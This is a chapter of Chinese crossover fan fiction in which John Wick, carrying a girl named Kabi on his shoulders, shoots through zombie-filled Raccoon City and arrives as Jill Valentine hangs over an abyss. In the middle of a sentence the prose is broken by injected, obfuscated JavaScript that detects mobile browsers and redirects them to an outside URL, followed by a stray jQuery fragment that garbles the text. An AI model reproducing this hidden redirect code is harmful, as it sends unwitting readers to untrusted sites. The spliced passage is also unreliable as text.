自我剖白和袒露的小插曲成功摧毁了约翰威克刚刚试图建立起的好奇心，却并没能影响到卡比尽情享受《生化危机》一日游的好心情。
她依旧乐颠颠地一蹦一跳地往前走着，路过燃烧着的路障、踏过不幸死于交通暴｜乱的尸骸，再笑眯眯地戏弄一把砰砰乱撞着防护栏的傻逼丧尸们。
约翰威克看着女孩儿这没心没肺的模样，不知道为什么叹了口气，不想再去计较之前的随便什么事情。
说到底，对他人的处世观评头论足，又何尝不是一种可耻的傲慢？
约翰威克再次看了眼天色。
此时浣熊市已经完全入夜了，虽然有浓云裹覆着天空，但一轮巨大的圆月仍然挂在高天之上，为下方所有的一切燃烧着的、嘶吼着的、哭嚎着的都披上了一层诡秘的薄纱。
时间不早。假如卡比真的知道些什么的话，那么那场即将到来的核打击发生的概率同样很高。
想到这里，约翰突然快走了两步，在卡比略带困惑地歪了歪脑袋的动作中，在她面前蹲下了身去。
“上来，这样更快些。”他说着，并扭回头背着手招了招，丝毫不觉得这样的动作与一位放学门口接送孩子的老父亲有些什么区别。
“Oh！As you wish！”
卡比自然也没觉得有什么不对，她欢快地朝男人扑去，几乎是雀跃地跳上他的肩膀，双臂一把搂住约翰的脖子、双脚自然垂下，在坐稳之后甚至还扒着西装硬汉的脑袋快乐地向上扬了扬，就差喊出那句著名的——“驾！约翰、驾！”
约翰威克在心里叹了口气，嘴角却在他没有注意到的时候有些上扬。
“坐稳了——以及，别挡住我的眼睛。”他说，随即向前伸展四肢，拔枪，发力奔跑起来。
“呼——”
不知经过了怎样改造的新生身体机能简直像是回到了二十岁，他最健壮有力的时候，无论是手脚还是关节都变得很轻，就连身上总伴随着的那由内脏震伤而持之以恒的隐痛也一扫而空。
风从身边吹过，丧尸的腥臭萦绕不散，而手里的枪声则如同一曲交响。
约翰威克终于在重新于这个世界醒来的第三个钟头，感受到了某种放下一切，就只是活着的快意。
“砰砰砰！”
子弹雨点一般宣泄而出，精准地凿入这些不死者的脑袋，打穿它们并不能再思考的烂肉。
约翰威克一路向前奔去，头顶的小姑娘则哼着小曲快乐地伴奏，时不时甩出一枪，在出乎意料的角度制造一场绚丽的烟花秀。
爆炸与火光相映，热潮与震悚轰鸣。
约翰威克从没承认过他是否喜欢暴力，但谁又能说他开出的每一枪都从没打心底里享受过这场疾速追杀的大秀？
……
快乐的时光总是过得飞快，当他们来到浣熊市中心医院地下研究所的时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380328|168440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
候，约翰威克甚至没反应过来已经到了这场舞曲结束的时候。
但显然在这栋即将爆发大战的研究所中，有人比约翰与卡比这两个突然冒出来的不速之客、更关心他们的到来。
吉尔·瓦伦蒂安，
生化危机系列女主角之一，目前浣熊市特警部队 STARS 的重要成员，正挂在一座悬空的逃生梯上摇摇欲坠。而她身前不远的高处，一位戴着战术墨镜的高大白人军官正踏着她的胳膊。
他们似乎正在争抢着，或者说——一方在争抢另一方想要毁灭——中间一管散发着荧紫色的特殊试剂。
“滚开，尼古拉！该死的，把它还给我！”
吉尔咬着牙强扒住最后一根悬梯的金属把手，半边身体却依然荡在了空中。
她脚下，是根本看不到底的黑暗深渊。
“哦，你又能把我怎么样？吉尔，你自身难保。”
名叫尼古拉的男人却哈哈大笑，踩住吉尔胳膊的脚掌再次向下狠狠用力，硬底的战术皮靴带着花纹的鞋底堪称锋利地嵌入女人的胳膊，看着都觉得疼痛万分，
“Ouch！”吉尔痛呼一声，眼看就要向深渊跌去——
正在这时，
“嘿约翰，看来我们赶得正好！”卡比欢快地说道。
紧接着约翰威克感到脖子两侧的小腿轻快地荡了两下，一声枪膛击发的声音已然炸响：
“砰！”